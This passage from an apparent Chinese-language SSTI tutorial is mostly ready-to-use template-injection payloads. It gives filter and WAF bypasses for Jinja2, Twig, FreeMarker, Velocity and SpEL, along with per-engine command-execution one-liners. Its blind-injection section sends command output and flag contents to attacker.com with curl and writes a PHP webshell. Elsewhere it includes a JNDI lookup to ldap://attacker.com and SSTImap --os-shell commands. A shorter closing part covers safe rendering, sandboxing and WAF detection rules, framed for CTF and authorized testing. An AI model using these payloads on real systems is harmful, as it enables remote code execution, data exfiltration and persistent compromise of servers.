# URL: ?a=__class__&b=__mro__&c=__subclasses__
{{''[request.args.a][request.args.b][1][request.args.c]()}}

# ── 通过 request.cookies 传入 ──
# Cookie: a=__class__; b=os; c=popen
{{lipsum[request.cookies.get('c')][request.cookies.get('b')][request.cookies.get('c')]('id').read()}}

# ── Unicode 变换 ──
{{''['\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f']}}    # __class__
# \x5f = _

# ── 利用 format 字符串 ──
{{'%s'%'__class__'}}

# ── 利用 ~ 连接符(Jinja2)──
{%set x='__cl'%}{%set y='ass__'%}{{''[x~y]}}

15.5 绕过下划线过滤

# 当 _ 被过滤时

# ── 方法一:通过 request.args 传入下划线 ──
# URL: ?x=__class__
{{''[request.args.x]}}

# ── 方法二:通过 Unicode 全角下划线 ──
# 某些引擎接受全角字符(_)
{{''[__class__]}}   # 部分引擎可能支持

# ── 方法三:通过 dict() 构造键名 ──
{{dict(__class__=a).keys()|list|first}}

# ── 方法四:通过 chr() 拼接 ──
{% set u = (x|string)[0] if x is not defined else '_' %}
# 利用某个变量的字符串表示包含下划线

# ── 方法五:通过 lipsum 的字符串 ──
{{(lipsum|string)[9]}}   # lipsum 字符串中的第9个字符可能是 _

十六、Java 沙箱逃逸通用技巧

16.1 通用 Java 反射链

// 通用 Java 反射执行命令(适用于 FreeMarker / Velocity / Thymeleaf)

// ── 通过 Runtime.exec ──
Runtime.getRuntime().exec("id")

// ── 通过 ProcessBuilder ──
new ProcessBuilder(new String[]{"/bin/bash", "-c", "id"}).start()

// ── 通过 ScriptEngine(需要 Nashorn/Rhino)──
new javax.script.ScriptEngineManager()
  .getEngineByName("javascript")
  .eval("java.lang.Runtime.getRuntime().exec('id')")

// ── 通过 JNDI 注入(配合 Gadget Chain)──
// 需要 JNDI 服务端和反序列化链
javax.naming.InitialContext.lookup("ldap://attacker.com/Exploit")

16.2 读取命令输出的通用方式

// Java 中读取命令执行结果
Process p = Runtime.getRuntime().exec("id");
java.io.BufferedReader br = new java.io.BufferedReader(
    new java.io.InputStreamReader(p.getInputStream()));
StringBuilder sb = new StringBuilder();
String line;
while ((line = br.readLine()) != null) sb.append(line).append('\n');
System.out.println(sb.toString());

// 更简洁:Scanner
String output = new java.util.Scanner(
    Runtime.getRuntime().exec("id").getInputStream()
).useDelimiter("\\A").next();

16.3 SpEL 注入(通用)

# Spring EL 表达式注入(适用于多种 Java 框架)

# ── 基础执行 ──
T(java.lang.Runtime).getRuntime().exec('id')
T(java.lang.ProcessBuilder).new(['id']).start()

# ── 读取输出 ──
new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec('id').getInputStream()).useDelimiter('\A').next()

# ── 多参数命令 ──
T(java.lang.Runtime).getRuntime().exec(new String[]{'/bin/bash','-c','cat /flag'})

# ── 读取文件 ──
new java.util.Scanner(new java.io.File('/etc/passwd')).useDelimiter('\A').next()

# ── 写文件 ──
T(java.nio.file.Files).write(T(java.nio.file.Paths).get('/tmp/x'),
  'shell code'.bytes,
  T(java.nio.file.StandardOpenOption).CREATE)

十七、WAF 绕过技术

17.1 绕过 {{}} 语法过滤

# ── 使用 {%...%} 代替 {{ }} ──
# 某些 WAF 只过滤 {{ }},不过滤 {% %}
{% if lipsum.__globals__.os.popen('id').read() %}done{% endif %}
{% set x = lipsum.__globals__.os.popen('id').read() %}{{ x }}

# ── 使用 {# #} 中的变量插值(部分引擎)──
{# 此方法效果有限,主要用于注释绕过 #}

# ── 利用 raw 标签 ──
{% raw %}{{ 7*7 }}{% endraw %}   # 输出字面量(测试是否解析)

# ── 转义字符干扰 ──
{​{7*7}}     # 插入零宽字符(某些 WAF 无法识别)
{{ 7 * 7 }}  # 添加空格
{{	7*7}}    # Tab 字符

# ── 使用 Jinja2 行语句(Line Statements)──
# 若开启了 line_statement_prefix(如 # )
# 可直接写 Python 表达式而无需 {{ }}

17.2 绕过关键字过滤

# ── 字符串拼接(最常用)──
{%set a='__cla'%}{%set b='ss__'%}{{''[a~b]}}
{%set a='po'%}{%set b='pen'%}{{lipsum.__globals__.os[a~b]('id').read()}}

# ── 通过 request.args 动态传参(Flask SSTI)──
# GET: ?c=__class__&m=__mro__&s=__subclasses__&g=__globals__&o=os
{{().__getattribute__(request.args.c)
    .__getattribute__(request.args.m)[1]
    .__getattribute__(request.args.s)()[N]
    .__init__
    .__getattribute__(request.args.g)[request.args.o]
    .popen('id').read()}}

# ── 通过 Cookie 传参 ──
# Cookie: cmd=id; attr=__class__
{{lipsum[request.cookies.get('attr')]}}
{{request.cookies.get('cmd')|attr('format')()|attr(request.cookies.get('attr'))}}

# ── 通过 |attr 过滤器 ──
{{''|attr('\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f')}}   # __class__

# ── 编码绕过 ──
# Unicode 转义
{{'\u005f\u005fclass\u005f\u005f'}}   # 某些情况有效

# ── 利用 Python 内置的字符操作 ──
{%set x = dict(__class__=1).keys()|list|first%}{{''[x]}}

17.3 绕过下划线 _ 过滤

# ── 方法一:通过 request.args 传入 ──
# URL: ?usc=__
{{''[request.args.usc~'class'~request.args.usc]}}

# ── 方法二:从字符串中提取 _ ──
# 找到某个变量或字符串中包含下划线的位置
# lipsum 输出的文本可能包含下划线
{%set underscore=(lipsum()|string)[某个索引]%}
{{''[underscore~underscore~'class'~underscore~underscore]}}

# ── 方法三:利用 dict 关键字参数 ──
{%set a=dict(__class__=a)|list|first%}

# ── 方法四:利用 config 变量名中的下划线 ──
# config 对象的某些 key 中含有下划线
{%for k in config%}{%if loop.first%}{%set u=k[0]%}{%endif%}{%endfor%}
# 然后用 u 变量代替下划线

# ── 方法五:chr() 构造 ──
{%set u="\x5f"%}  # \x5f = _
{{''[u~u~'class'~u~u]}}

17.4 绕过点号 . 过滤

# ── 使用 [] 替代 . ──
{{''['__class__']}}                    # ''.__class__
{{lipsum['__globals__']['os']['popen']('id')['read']()}}

# ── 使用 |attr 过滤器替代 . ──
{{''|attr('__class__')}}               # ''.__class__
{{lipsum|attr('__globals__')|attr('os')|attr('popen')('id')|attr('read')()}}

# ── 使用 __getattribute__ ──
{{''.__getattribute__('__class__')}}

# ── 组合使用 ──
{%set a='__class__'%}{{''[a]}}

17.5 绕过引号过滤

# 当单双引号都被过滤时

# ── 方法一:通过 request.args 传入字符串 ──
# URL: ?cmd=id
{{lipsum.__globals__.os.popen(request.args.cmd).read()}}

# ── 方法二:通过 chr() 构造字符串 ──
# 'id' → chr(105)+chr(100)
{{lipsum.__globals__.os.popen(chr(105)~chr(100)).read()}}

# ── 方法三:通过整数构造 ──
{%set n=dict(id=1).keys()|list|first%}   # n = 'id'
{{lipsum.__globals__.os.popen(n).read()}}

# ── 方法四:通过已有变量中的子字符串 ──
# 利用 namespace 或其他已有变量的字符串表示拼接命令

17.6 绕过数字过滤

# 当数字被过滤时(某些 WAF 过滤 [0], [1] 等索引)

# ── 方法一:使用 first / last ──
{{''.__class__.__mro__|last}}               # 最后一个 MRO 类
{{''.__class__.__mro__|first}}              # 第一个 MRO 类

# ── 方法二:使用 |select 或 |selectattr ──
{{''.__class__.__mro__[1].__subclasses__()
   |select('equalto', xxx)|list}}

# ── 方法三:构造数字 ──
{%set n=(()|count)%}   # n = 0
{%set n=((1,)|count)%} # n = 1(tuple 长度)
{%set n=(range(2)|last)%}  # n = 1
{%set z=(range(1)|count)%} # z = 1

17.7 Twig WAF 绕过

{# ── 绕过关键字过滤 ──  #}
{# 使用字符串拼接 #}
{%  set a = '_se' %}
{%  set b = 'lf' %}
{{ (a~b).env.registerUndefinedFilterCallback("system") }}
{{ (a~b).env.getFilter("id") }}

{# ── 使用 |reduce 绕过 ──  #}
{{ ['id']|reduce((carry, v) => system(v)) }}

{# ── 利用 Twig 过滤器 ──  #}
{{ 'id'|system }}           {# 某些配置 #}
{{ ['id']|map('system') }}  {# Twig 2.x+ #}

{# ── 通过 HTTP 参数传入 ──  #}
{{ app.request.query.get('cmd')|system }}   {# Symfony 特有 #}

17.8 FreeMarker WAF 绕过

<#-- ── 使用 ? 操作符绕过过滤 ── -->
<#assign ex="freemarker.template.utility.Execute"?new()>
${"id"?eval}    <#-- 某些版本 -->

<#-- ── 字符串拼接绕过 ── -->
<#assign cn = "freemarker.template.utility." + "Execute">
<#assign ex = cn?new()>
${ex("id")}

<#-- ── 通过 ?interpret 绕过 ── -->
${"<#assign x=\"freemarker.template.utility.Execute\"?new()>${x(\"id\")}"?interpret}

<#-- ── 利用 include 变量 ── -->
<#include "/etc/passwd">    <#-- 文件读取 -->

17.9 通用 WAF 绕过技巧

# ── 利用注释干扰 WAF ──
# Jinja2 注释
{{7{#comment#}*7}}             # 某些情况有效
{{ 7 * {# ignore #} 7 }}

# ── 利用换行符/空白字符 ──
{{\n7*7\n}}
{{\t7*7\t}}

# ── 利用编码 ──
# 通过 Burp 对 payload 进行 URL 编码
%7B%7B7*7%7D%7D → {{7*7}}

# ── 分块传输(HTTP Chunked)──
# 将 Payload 分成多个 chunk 传输,绕过内容检测

# ── 多次请求拼接 ──
# 第一个请求写入部分 payload,第二个请求触发(配合存储型 SSTI)

# ── 利用服务器差异处理 ──
# 某些 WAF 和应用服务器对 URL 编码、Unicode 的处理不一致
# 双重编码:%257B%257B7*7%257D%257D → %7B%7B7*7%7D%7D → {{7*7}}

十八、CTF 实战思路

18.1 快速判断流程

发现疑似注入点(用户输入被反射/渲染到页面)
    ↓
Step 1:基础检测(判断是否存在 SSTI)
  输入 {{7*7}}    → 输出 49?  → 存在 SSTI
  输入 ${7*7}     → 输出 49?  → 存在 SSTI(Java 系)
  输入 {{7*'7'}}  → 输出?     → 判断引擎类型
    ↓
Step 2:识别模板引擎(参考识别决策树)
  Jinja2 / Twig / Smarty / FreeMarker / Velocity / Thymeleaf / ERB / EJS
    ↓
Step 3:信息收集
  读取配置 / 环境变量 / 当前用户 / 文件列表
    ↓
Step 4:RCE 利用
  执行命令 → 寻找 flag → 反弹 Shell
    ↓
Step 5:WAF 绕过(若有过滤)
  字符串拼接 / request.args 传参 / 编码绕过

18.2 各引擎利用速查卡

# ── Jinja2 (Python/Flask) ──
{{lipsum.__globals__.os.popen('id').read()}}
{{url_for.__globals__.os.popen('id').read()}}
{{cycler.__init__.__globals__.os.popen('id').read()}}
{{''.__class__.__mro__[1].__subclasses__()[N].__init__.__globals__['popen']('id').read()}}

# ── Twig (PHP) ──
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id")}}
{{['id']|map('system')}}

# ── Smarty (PHP) ──
{system('id')}
{passthru('id')}

# ── FreeMarker (Java) ──
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}

# ── Velocity (Java) ──
#set($e="e")$e.getClass().forName("java.lang.Runtime")
  .getMethod("exec","".getClass())
  .invoke($e.getClass().forName("java.lang.Runtime")
  .getMethod("getRuntime").invoke(null),"id")

# ── Thymeleaf (Java/Spring) ──
__${T(java.lang.Runtime).getRuntime().exec('id')}__::.x
${T(java.lang.Runtime).getRuntime().exec('id')}

# ── ERB (Ruby) ──
<%= `id` %>
<%= system('id') %>

# ── EJS (Node.js) ──
<%= require('child_process').execSync('id').toString() %>

# ── Tornado (Python) ──
{% import os %}{{ os.popen('id').read() }}

# ── Mako (Python) ──
<% import os %>${ os.popen('id').read() }

18.3 常见 CTF 场景

场景一:Flask SSTI(参数过滤)

# 题目特征:Flask 应用,某些字符被过滤
# 常见过滤:_ . [] 数字 引号

# 组合绕过:无引号 + 无下划线 + 无数字
# 通过 request.args 传入关键字符串
# GET: ?a=__class__&b=__mro__&c=__subclasses__&d=__init__&e=__globals__&f=__builtins__&cmd=id

{{()|attr(request.args.a)|attr(request.args.b)|attr(request.args.d)|attr(request.args.e)|attr(request.args.f)|attr(request.args.c)()|attr(request.args.d)(request.args.cmd)}}

# 更简洁(直接用 lipsum + request.args)
{{lipsum|attr(request.args.g)|attr(request.args.o)|attr(request.args.p)(request.args.cmd)|attr(request.args.r)()}}
# ?g=__globals__&o=os&p=popen&r=read&cmd=id

场景二:无回显 SSTI(盲注)

# 无回显时,通过时间延迟或 DNS/HTTP 外带数据

# 时间延迟检测
{{lipsum.__globals__.os.popen('sleep 5').read()}}

# DNS 外带
{{lipsum.__globals__.os.popen('curl http://`id`.attacker.com').read()}}
{{lipsum.__globals__.os.popen("bash -c 'id | base64 | xargs -I{} curl http://attacker.com/?d={}'").read()}}

# HTTP 外带(读取 flag)
{{lipsum.__globals__.os.popen("curl -X POST http://attacker.com/ -d $(cat /flag | base64)").read()}}

# 写入 WebShell
{{lipsum.__globals__.os.popen("echo '<?php system($_GET[cmd]);?>' > /var/www/html/shell.php").read()}}

场景三:Jinja2 Sandbox 绕过

# Jinja2 有沙箱模式(Sandbox Environment),限制了危险操作
# 沙箱中通常禁止:_ 开头的属性,call 方法等

# 通过允许的内置函数找到出口
{{namespace(class=1)}}   # 测试是否允许 namespace

# 通过 |attr 绕过属性访问限制
{{[]|attr('\x5f\x5fclass\x5f\x5f')}}   # __class__

# 通过格式化字符串
{{'%c'%95}}  # 95 = ASCII '_'
# 构造: {{'%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c'%(95,95,99,108,97,115,115,95,95,...)}}

# 通过 format 构造下划线
{{"%c"|format(95)}}   # → '_'

18.4 常见 flag 位置

# 通过 SSTI 执行命令寻找 flag
{{lipsum.__globals__.os.popen('find / -name flag* 2>/dev/null').read()}}
{{lipsum.__globals__.os.popen('cat /flag').read()}}
{{lipsum.__globals__.os.popen('cat /flag.txt').read()}}
{{lipsum.__globals__.os.popen('cat /root/flag').read()}}
{{lipsum.__globals__.os.popen('env | grep -i flag').read()}}
{{lipsum.__globals__.os.popen('ls /').read()}}

# 读取文件(直接文件访问)
{{open('/flag').read()}}
{{open('/flag.txt').read()}}

十九、防御措施

19.1 根本防御原则

永远不要将用户输入拼接进模板字符串!
将用户输入作为数据变量传入,而非模板内容。

19.2 各语言安全写法

# ── Python / Jinja2 ──

# ❌ 危险
template = f"Hello {user_input}!"
render_template_string(template)

# ✅ 安全
render_template_string("Hello {{ name }}!", name=user_input)
render_template("hello.html", name=user_input)
<?php
// ── PHP / Twig ──

// ❌ 危险
echo $twig->createTemplate("Hello $input")->render([]);

// ✅ 安全
echo $twig->render('hello.html.twig', ['name' => $input]);
echo $twig->createTemplate("Hello {{ name }}")->render(['name' => $input]);

// ── PHP / Smarty ──

// ❌ 危险
$smarty->fetch('string:' . $input);

// ✅ 安全
$smarty->assign('name', $input);
$smarty->display('hello.tpl');
// ── Java / FreeMarker ──

// ❌ 危险
Template t = new Template("t", new StringReader(userInput), cfg);
t.process(model, out);

// ✅ 安全
Template t = cfg.getTemplate("hello.ftl");  // 使用预定义模板
Map<String, Object> model = new HashMap<>();
model.put("name", userInput);               // 用户输入作为数据
t.process(model, out);

// ── Java / Velocity ──

// ❌ 危险
Velocity.evaluate(context, writer, "t", userInput);

// ✅ 安全
Template t = Velocity.getTemplate("hello.vm");  // 预定义模板
VelocityContext ctx = new VelocityContext();
ctx.put("name", userInput);                     // 数据传入
t.merge(ctx, writer);

19.3 沙箱配置(防御纵深)

# Jinja2 沙箱环境(减少但不能完全消除风险)
from jinja2.sandbox import SandboxedEnvironment

env = SandboxedEnvironment()
# SandboxedEnvironment 限制了:
# - 访问私有属性(__class__ 等)
# - 调用危险方法
# - 访问受限的内置函数

# 注意:沙箱不是银弹,仍可能被绕过!
<?php
// Twig 沙箱模式
$policy  = new \Twig\Sandbox\SecurityPolicy($tags, $filters, $methods, $properties, $functions);
$sandbox = new \Twig\Extension\SandboxExtension($policy, true);
$twig->addExtension($sandbox);

// 白名单配置(严格限制允许的操作)
$tags      = ['if', 'for'];
$filters   = ['upper', 'lower', 'escape'];
$methods   = [];           // 禁止所有方法调用
$properties = [];          // 禁止所有属性访问
$functions = ['range'];    // 只允许 range 函数

19.4 输入验证与过滤

# 对必须动态渲染的内容进行白名单过滤

import re

def sanitize_template_input(user_input):
    """对模板变量值进行净化(针对 Jinja2)"""
    # 移除所有模板语法
    dangerous_patterns = [
        r'\{\{.*?\}\}',    # {{ ... }}
        r'\{%.*?%\}',      # {% ... %}
        r'\{#.*?#\}',      # {# ... #}
    ]
    for pattern in dangerous_patterns:
        user_input = re.sub(pattern, '', user_input, flags=re.DOTALL)
    return user_input

# 更彻底:对特殊字符进行转义
def escape_template_chars(user_input):
    """转义模板特殊字符"""
    return (user_input
            .replace('{', '&#123;')
            .replace('}', '&#125;')
            .replace('%', '&#37;'))

19.5 WAF 规则建议

# 检测 SSTI 特征的 WAF 规则

# 拦截常见模板语法
正则:\{\{.*?\}\}         # {{ ... }}
正则:\{%.*?%\}           # {% ... %}
正则:\$\{.*?\}           # ${ ... }
正则:<%.*?%>             # <% ... %>
正则:#\{.*?\}            # #{ ... }

# 拦截关键类名(防止 Python 沙箱逃逸)
关键字:__class__
关键字:__mro__
关键字:__subclasses__
关键字:__globals__
关键字:__builtins__
关键字:__import__

# 拦截 Java 反射关键字
关键字:forName
关键字:getRuntime
关键字:ProcessBuilder
关键字:java.lang.Runtime

# 注意:WAF 是补充手段,不能替代安全编码!

19.6 防御检查清单

✅ 用户输入永远只作为数据传入模板,绝不拼接为模板字符串
✅ 使用预定义的模板文件,不支持用户自定义模板内容
✅ 启用模板引擎的沙箱模式(Jinja2 SandboxedEnvironment 等)
✅ 最小化模板中可访问的变量和对象(不传入 config、request 等敏感对象)
✅ 对用户输入进行 HTML 转义(防止 XSS,同时也干扰部分 SSTI)
✅ 部署 WAF 检测模板注入特征字符
✅ 以最小权限运行 Web 进程(限制 RCE 危害)
✅ 禁用不必要的模板功能(如 FreeMarker 的 `freemarker.template.utility.Execute`)
✅ 定期进行代码审计,检查所有 render/evaluate 调用
✅ 监控异常模板渲染(响应时间异常、内存使用激增等)
✅ 生产环境禁用详细错误信息(防止通过报错识别引擎类型)
✅ 依赖库及时更新(修复引擎自身的安全漏洞)

附录

A. SSTI 探测 Payload 字典

{{7*7}}
${7*7}
<%= 7*7 %>
#{7*7}
{7*7}
${{7*7}}
*{7*7}
{{{7*7}}}
{{7*'7'}}
${"z".class.name}
{{config}}
{{self}}
{{request}}

B. 引擎特征速查表

模板引擎 语言 语法 特征表达式 直接 RCE 难度
Jinja2 Python {{ }} {% %} {{7*'7'}}→7777777 🟡 中(需遍历子类)
Twig PHP {{ }} {% %} {{7*'7'}}→49 🟡 中(_self.env)
Smarty PHP { } {$smarty.version} 🟢 易(直接调用函数)
FreeMarker Java ${ } <# > ${7?string} 🟢 易(Execute 类)
Velocity Java $var #set #set($a=7)$a 🟡 中(反射链)
Thymeleaf Java ${ } *{ } *{7*7} 🟡 中(SpEL)
Tornado Python {{ }} {% %} {{handler.settings}} 🟢 易(直接 import)
Mako Python ${ } <% %> ${'x'.upper()} 🟢 易(直接 import)
ERB Ruby <%= %> <% %> <%= 7*7 %> 🟢 最易(反引号)
EJS JavaScript <%= %> <% %> <%= 7*7 %> 🟢 易(require)
Handlebars JavaScript {{ }} {{# }} {{7}} 🔴 难(沙箱严格)
Pebble Java {{ }} {% %} {{7*7}} 🟡 中(反射链)

C. 自动化利用工具

工具 说明 地址
tplmap 自动检测利用多种 SSTI github.com/epinna/tplmap
SSTImap tplmap 的更新维护版 github.com/vladko312/SSTImap
Burp SSTI Scanner Burp 插件自动检测 BApp Store
Nuclei 包含 SSTI 检测模板 github.com/projectdiscovery/nuclei
# SSTImap 使用示例
git clone https://github.com/vladko312/SSTImap
cd SSTImap
python sstimap.py -u 'http://target.com/page?name=*'
python sstimap.py -u 'http://target.com/page?name=*' --os-shell
python sstimap.py -u 'http://target.com/page?name=*' --os-cmd 'cat /flag'
python sstimap.py -u 'http://target.com/page?name=*' -D '/flag' '/tmp/flag'  # 下载文件

# tplmap 使用示例
python tplmap.py -u 'http://target.com/page?name=*' \
  --cookie 'PHPSESSID=abc123' \
  --os-shell

D. 常见 CVE 速查

CVE 影响组件 类型 说明
CVE-2022-26134 Confluence Server OGNL/SSTI 未授权 RCE,影响极广
CVE-2019-3396 Confluence Widget FreeMarker SSTI Widget Connector 注入
CVE-2017-5638 Apache Struts2 OGNL 注入 Content-Type 头注入
CVE-2020-9484 Apache Tomcat 反序列化 RCE 与 SSTI 常结合使用
CVE-2022-22963 Spring Cloud Function SpEL 注入 routing-expression 头
CVE-2022-22947 Spring Cloud Gateway SpEL 注入 路由配置 SSTI
CVE-2021-25770 YouTrack Freemarker 模板注入 RCE

⚠️ 免责声明:本文档仅供 CTF 竞赛学习、安全研究及授权渗透测试使用。服务端模板注入漏洞的利用未经授权属于违法行为,请在合法合规的环境中学习与实践。